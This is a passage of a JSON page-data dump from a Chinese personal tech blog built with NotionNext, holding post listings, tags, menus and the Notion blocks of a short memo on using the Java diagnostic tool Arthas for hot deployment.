ion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"2024-3-20","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"2024-3-20","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":"","blockMap":{"block":{"e013510c-b3a7-4907-b4cd-118b118d30db":{"value":{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","version":712,"type":"page","content":["49660a6b-8b10-4449-a089-e36bd6de154f","4167aad0-7638-4d68-8664-3c483389677f","75842799-a053-4659-ab50-17678231e4ff","6216de61-29ce-4cc1-9319-ab02317fa14a","2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","ece49cba-6c96-4588-b464-5c0c71b286f3","b3c41a84-43ee-4d6b-8bbd-091ff384fd59","f4ac19d7-d241-4ba2-94cb-255c510c8bef","2a69447b-8578-439b-8fff-9f1bcd702af0","afd11af0-cd3a-42fb-9f6d-c63e50e0c935","eb365015-594d-4556-b962-17bd7c09aca4","3aa2a959-6acc-470e-a328-06cfb782b7da","1abb1800-907c-407f-8c68-4870699ce5a3","c810b651-629c-494d-951f-1c49c6d3e328","57d4ad7c-5cc1-404b-887f-864994a1e2c7","aa247981-241f-4ca5-b749-229ce2fcf44e","e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","0bce87bd-e041-4e99-86df-656bc5692349","db0307cc-b039-40e6-a680-7bfc07afaa67","e9e6045c-97a6-4a9b-959f-f04f7019f248","00bc6d41-7356-48b6-a443-e145bb33d169","4fcb29e1-90ad-4736-b951-b048e8b490f4","c045edef-158c-4c43-a867-45748cdf2ed0","3c034094-e024-42f9-818d-fd49579543ab","3991bb35-efa4-4722-a269-9f80ad3e5a89","46c4c01d-bf1b-4ce0-8eda-5c0639b8453f","91a2fac9-d67e-4eb6-8f80-ce12aa78557c","5e155fc2-041f-4ac4-9863-f257c6ae8d99","a70ea93f-49bc-44eb-9af4-58311b9e22a0","5b9a3023-17e9-4d71-9a01-b90ada81a321","309ea1f2-8e10-48f9-8990-6192b5ecf2dc","28f29155-ccfb-4e5c-a590-530707efde4e","72c01b35-1a16-4630-8517-0ef7f56a4958","39acdf62-e65e-4362-a2ff-92efffb2eea9","110b2916-df77-4445-a6f5-5a7f700f14e0","6ba8ddd5-4df3-4bf4-a8c2-3154d9404a97","713edbb3-17cd-4bb8-91c5-4a500b3a8994","23e941c9-ce06-4f1b-af06-6bccec2d3ea4","bb1503ec-72a1-49b0-bfc0-5514d3749738","5d496523-f3ac-4297-ab9d-49946de020e0","abe817d3-4a91-4f84-aed1-113eab9e33ea","b7688c06-839f-475f-99d8-092a08b7e21d","7de5b0ae-9bc1-4cad-9f7b-8b96e8cfea05","27f5381c-4c90-4bf9-ad1d-be7f972dfced"],"format":{"page_font":"mono","page_icon":"🗒️","page_cover":"https://source.unsplash.com/random","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"77f4d759-8660-4888-8d35-4214be459ba1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"page_cover_position":0.5},"created_time":1710900516985,"last_edited_time":1710910330213,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"77f4d759-8660-4888-8d35-4214be459ba1","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273-4f5f-96c1-cd1becb07207":{"value":{"id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","type":"collection_view_page","content":["50fa88a0-6936-488c-8abc-b558b6a7b0d6","e027b6fc-d75a-43a9-92b1-d5872e5b0780","1fc93bf5-4631-4f85-90f5-362d6a9f69d5","4a3f60f2-b147-4303-b805-e3c775b287a5","c456b9e9-f33f-4c0f-a198-5e90d708c5e4","95d5d8be-c6d5-44e4-a06c-bbb8b5532918"],"view_ids":["8e40545c-4d1c-4299-8605-c04d7ab6872f","818d9fe2-a27d-40ec-b827-614939109ca4","ad494b39-a38c-415e-9221-325f0f9be280","58c6fb90-5030-4627-8bad-38b57c3253cd"],"collection_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","format":{"block_locked":false,"block_locked_by":"27074aef-7216-41ed-baef-d9b53addd870","collection_pointer":{"id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","table":"collection","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"copied_from_pointer":{"id":"19c33d8c-a320-4635-ab97-ddf00a96c478","table":"block","spaceId":"2a229231-539e-420a-9652-17ba8be4cd18"},"page_cover_position":0.6},"permissions":[{"role":"editor","type":"user_permission","user_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16"},{"role":"comment_only","type":"public_permission","added_timestamp":1705594424869,"allow_duplicate":false,"allow_search_engine_indexing":true}],"created_time":1705594337173,"last_edited_time":1733470638099,"parent_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175","parent_table":"space","alive":true,"copied_from":"19c33d8c-a320-4635-ab97-ddf00a96c478"}},"49660a6b-8b10-4449-a089-e36bd6de154f":{"value":{"id":"49660a6b-8b10-4449-a089-e36bd6de154f","type":"table_of_contents","format":{"block_color":"gray","copied_from_pointer":{"id":"be61f37e-3882-4318-ad2b-2c61e18b529f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523642,"last_edited_time":1710900523642,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"be61f37e-3882-4318-ad2b-2c61e18b529f"}},"4167aad0-7638-4d68-8664-3c483389677f":{"value":{"id":"4167aad0-7638-4d68-8664-3c483389677f","type":"header","properties":{"title":[["契机"]]},"format":{"copied_from_pointer":{"id":"39f8a9bd-9efd-414b-a3ad-d588e49686b1","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900523641,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"39f8a9bd-9efd-414b-a3ad-d588e49686b1"}},"75842799-a053-4659-ab50-17678231e4ff":{"value":{"id":"75842799-a053-4659-ab50-17678231e4ff","type":"callout","properties":{"title":[["Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法"]]},"format":{"page_icon":"⚙","block_color":"gray_background","copied_from_pointer":{"id":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523640,"last_edited_time":1710906535116,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"0f651cbe-3b3d-4c6b-9341-9409d13cdc9f"}},"6216de61-29ce-4cc1-9319-ab02317fa14a":{"value":{"id":"6216de61-29ce-4cc1-9319-ab02317fa14a","type":"header","properties":{"title":[["基本配置"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710901319587,"last_edited_time":1710901327584,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd":{"value":{"id":"2fc39b5e-add9-416d-81e6-0f08e1c4e7cd","type":"bulleted_list","properties":{"title":[["官方文档:"],["https://arthas.gitee.io/doc/",[["a","https://arthas.gitee.io/doc/"]]]]},"created_time":1710901328051,"last_edited_time":1710901361598,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"ece49cba-6c96-4588-b464-5c0c71b286f3":{"value":{"id":"ece49cba-6c96-4588-b464-5c0c71b286f3","type":"bulleted_list","properties":{"title":[["下载arthas-boot.jar:"],["https://github.com/alibaba/arthas/releases",[["b"],["a","https://github.com/alibaba/arthas/releases"]]]]},"created_time":1710901368276,"last_edited_time":1710901392474,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"b3c41a84-43ee-4d6b-8bbd-091ff384fd59":{"value":{"id":"b3c41a84-43ee-4d6b-8bbd-091ff384fd59","type":"bulleted_list","properties":{"title":[["直接java -jar arthas-boot.jar即可开始使用"]]},"created_time":1710901393274,"last_edited_time":1710901419736,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"f4ac19d7-d241-4ba2-94cb-255c510c8bef":{"value":{"id":"f4ac19d7-d241-4ba2-94cb-255c510c8bef","type":"bulleted_list","properties":{"title":[["idea中安装两个插件:arthas idea & ArthasHotSwap"]]},"created_time":1710901591928,"last_edited_time":1710901637032,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"2a69447b-8578-439b-8fff-9f1bcd702af0":{"value":{"id":"2a69447b-8578-439b-8fff-9f1bcd702af0","type":"header","properties":{"title":[["热部署"]]},"format":{"copied_from_pointer":{"id":"4b7fd301-ccb3-49e5-a655-951a4373ac77","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1710900523641,"last_edited_time":1710900685231,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"copied_from":"4b7fd301-ccb3-49e5-a655-951a4373ac77"}},"afd11af0-cd3a-42fb-9f6d-c63e50e0c935":{"value":{"id":"afd11af0-cd3a-42fb-9f6d-c63e50e0c935","type":"quote","properties":{"title":[["限制:无法修改类名、方法名,无法修改类属性名称,无法新增类属性,无法新增非静态方法"]]},"created_time":1710901704530,"last_edited_time":1710901710307,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"eb365015-594d-4556-b962-17bd7c09aca4":{"value":{"id":"eb365015-594d-4556-b962-17bd7c09aca4","type":"text","created_time":1710903024828,"last_edited_time":1710903024828,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"3aa2a959-6acc-470e-a328-06cfb782b7da":{"value":{"id":"3aa2a959-6acc-470e-a328-06cfb782b7da","type":"text","properties":{"title":[["我们修改以下代码"]]},"created_time":1710901720142,"last_edited_time":1710902750922,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"1abb1800-907c-407f-8c68-4870699ce5a3":{"value":{"id":"1abb1800-907c-407f-8c68-4870699ce5a3","type":"image","properties":{"size":[["112.1KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/f585c4ed-7c6f-4998-966e-d0081d2b7d18/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.3236842105263158,"block_preserve_scale":true},"created_time":1710902710894,"last_edited_time":1710902717085,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["f585c4ed-7c6f-4998-966e-d0081d2b7d18"]}},"c810b651-629c-494d-951f-1c49c6d3e328":{"value":{"id":"c810b651-629c-494d-951f-1c49c6d3e328","type":"text","properties":{"title":[["然后comile一下"]]},"created_time":1710902715123,"last_edited_time":1710902760017,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"57d4ad7c-5cc1-404b-887f-864994a1e2c7":{"value":{"id":"57d4ad7c-5cc1-404b-887f-864994a1e2c7","type":"image","properties":{"size":[["241.3KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/da1b4a9f-75db-40db-bda2-9b953a26d36b/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.23791348600508905,"block_preserve_scale":true},"created_time":1710902781652,"last_edited_time":1710902789774,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["da1b4a9f-75db-40db-bda2-9b953a26d36b"]}},"aa247981-241f-4ca5-b749-229ce2fcf44e":{"value":{"id":"aa247981-241f-4ca5-b749-229ce2fcf44e","type":"text","created_time":1710902785084,"last_edited_time":1710902785084,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff":{"value":{"id":"e8b82baf-e0fd-4dde-9e55-259b8eb4d3ff","type":"text","properties":{"title":[["如果你远程服务器不止一个应用还需要指定一下jar包,这里java path也要是远程机器的真实地址"]]},"created_time":1710902785209,"last_edited_time":1710902920118,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"0bce87bd-e041-4e99-86df-656bc5692349":{"value":{"id":"0bce87bd-e041-4e99-86df-656bc5692349","type":"text","properties":{"title":[["他的原理是把你的class文件上传到oss,然后在服务器下载。如果怕代码泄漏,需要自己去oss买个bucket配置上传到自己的oss,这里不做详细说明"]]},"created_time":1710902928985,"last_edited_time":1710902996580,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"db0307cc-b039-40e6-a680-7bfc07afaa67":{"value":{"id":"db0307cc-b039-40e6-a680-7bfc07afaa67","type":"image","properties":{"size":[["130.2KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/77ab3448-b42c-448f-9616-75f9dd9f9d21/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.38799283154121866,"block_preserve_scale":true},"created_time":1710902896442,"last_edited_time":1710902902168,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["77ab3448-b42c-448f-9616-75f9dd9f9d21"]}},"e9e6045c-97a6-4a9b-959f-f04f7019f248":{"value":{"id":"e9e6045c-97a6-4a9b-959f-f04f7019f248","type":"text","properties":{"title":[["然后在指定class右键执行工具"]]},"created_time":1710902926091,"last_edited_time":1710903105222,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"00bc6d41-7356-48b6-a443-e145bb33d169":{"value":{"id":"00bc6d41-7356-48b6-a443-e145bb33d169","type":"image","properties":{"size":[["139.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/3e9b7e84-080a-4392-9503-3a4345994ca0/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.7539267015706806,"block_preserve_scale":true},"created_time":1710903105660,"last_edited_time":1710903112293,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["3e9b7e84-080a-4392-9503-3a4345994ca0"]}},"4fcb29e1-90ad-4736-b951-b048e8b490f4":{"value":{"id":"4fcb29e1-90ad-4736-b951-b048e8b490f4","type":"text","properties":{"title":[["去宿主机部署代码,当看到succss就是成功了"]]},"created_time":1710903112799,"last_edited_time":1710905984555,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true}},"c045edef-158c-4c43-a867-45748cdf2ed0":{"value":{"id":"c045edef-158c-4c43-a867-45748cdf2ed0","type":"image","properties":{"size":[["97.5KB"]],"title":[["Untitled"]],"source":[["https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png"]]},"format":{"block_width":708,"display_source":"https://prod-files-secure.s3.us-west-2.amazonaws.com/eb3e1328-8f32-4ff5-8d18-8ea80020e175/99c8dc77-8162-433d-8315-b38539f96c28/Untitled.png","block_full_width":false,"block_page_width":true,"block_aspect_ratio":0.8309070548712206,"block_preserve_scale":true},"created_time":1710905970875,"last_edited_time":1710906571504,"parent_id":"e013510c-b3a7-4907-b4cd-118b118d30db","parent_table":"block","alive":true,"file_ids":["99c8dc77-8162-433d-8315-b38539f96c28"]}},"3c034094-e024-42f9-818d-fd49579543ab":{"value":{"id":"3c034094-e024-42f9-818d-fd49579543ab","type":"text","created_time":171090